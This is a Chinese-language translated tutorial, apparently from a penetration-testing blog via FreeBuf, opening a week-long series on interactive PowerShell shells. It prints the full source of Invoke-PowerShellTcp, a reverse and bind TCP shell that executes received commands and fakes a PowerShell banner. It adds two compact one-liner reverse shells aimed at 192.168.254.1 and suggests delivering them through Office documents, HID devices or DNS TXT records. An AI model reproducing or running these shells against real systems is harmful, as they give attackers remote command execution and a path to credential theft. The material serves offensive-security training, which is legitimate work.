PowerShell作为渗透测试人员的常用工具这里在无需过多介绍。随着Windows系统的紧密集成,这就允许我们做各种有趣的事情,其他使用PowerShell的黑客和我都花了很多时间在PowerShell编程上面。
但在我的讲座和培训期间,我发现很多的黑客和防御者都不知道PowerShell能做什么以及PowerShell是多么的方便。同时我也遇到了很多同行对PowerShell不屑一顾,只因为其来自于微软。为了在业内培养和传播PowerShell,我决定开始一周PowerShell脚本的教程。
第一天 - TCP交互式PowerShell脚本 第二天 - UDP交互式PowerShell脚本 第三天 - HTTP/HTTPS交互式PowerShell脚本 第四天 - WMI交互式PowerShell脚本 第五天 - ICMP和DNS交互式PowerShell脚本
不多说,开始第一天的课程吧。
第一天:TCP交互式PowerShell脚本
让我们从一个反向shell开始。这个极棒的脚本是由Ben Turner(@benpturner)和Dave Hardy(@davehardy20)提交的。具体如何通过metasploit来使用这段脚本他们的文章有具体描述。在去除那段脚本中一些代码并修改其他若干东西后,就是我所提供的Invoke-PowerShellTcp。这个脚本可以提供主动或者被动连接的PowerShell。当前源码如下(不包含帮助文档):
function Invoke-PowerShellTcp { [CmdletBinding(DefaultParameterSetName="reverse")] Param( [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] [String] $IPAddress, [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")] [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")] [Int] $Port, [Parameter(ParameterSetName="reverse")] [Switch] $Reverse, [Parameter(ParameterSetName="bind")] [Switch] $Bind ) #Connect back if the reverse switch is used. if ($Reverse) { $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port) } #Bind to the provided port if Bind switch is used. if ($Bind) { $listener = [System.Net.Sockets.TcpListener]$Port $listener.start() $client = $listener.AcceptTcpClient() } $stream = $client.GetStream() [byte[]]$bytes = 0..255|%{0} #Send back current username and computername $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n") $stream.Write($sendbytes,0,$sendbytes.Length) #Show an interactive PowerShell prompt $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>') $stream.Write($sendbytes,0,$sendbytes.Length) while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding $data = $EncodedText.GetString($bytes,0, $i) #Execute the command on the target. $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String ) $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> ' $x = ($error[0] | Out-String) $error.clear() $sendback2 = $sendback2 + $x #Return the results $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close() $listener.Stop()}
你可以在Nishang的Shells目录下找到:https://github.com/samratashok/nishang/tree/master/Shells
下面截图展示在Kali Linux上面运行一个监听:
在Windows的机器上同样可以运行一个监听,使用powercat即可:
使用Invoke-PowerShellTcp进行主动连接:
使用交互式PowerShell可以在很多场合下帮助我们解决问题。一个很好的例子就是,在Windows8.1和Server 2012上面获取用户明文密码。这种情况下,我们必须要使用交互式的PowerShell。
注意,我们同样可以使用powercat。
具体选择使用哪个监听取决于你的情况。
如果你有仔细看过Invoke-PowerShellTcp的源码,你会发现源码还算比较短的,因此可以配合其他多种攻击技术使用,例如:配合微软MS Office文档、个性化界面设备(参见Kautilya)、需要下载的设备和DNS TXT记录等使用。在这些场景中使用一个短小的脚本都是不错的选择。事实上,如果去除错误处理以及格式化的用户输入代码,它还能变的更短。就是下面这段Invoke-PowerShellTcpOneLine:
$client = New-Object System.Net.Sockets.TCPClient("192.168.254.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
如果不需要显示输出,那么脚本还可以更短,差不多跟两条微博一样长:
#$sm=(New-Object Net.Sockets.TCPClient("192.168.254.1",55555)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
下面我录制了一个视频,演示Invoke-PowerShellTcp是如何配合微软MS Office文档使用的:
*原文:labofapenetrationtester ,FB小编xiaix编译,转自须注明来自FreeBuf黑客与极客(FreeBuf.COM)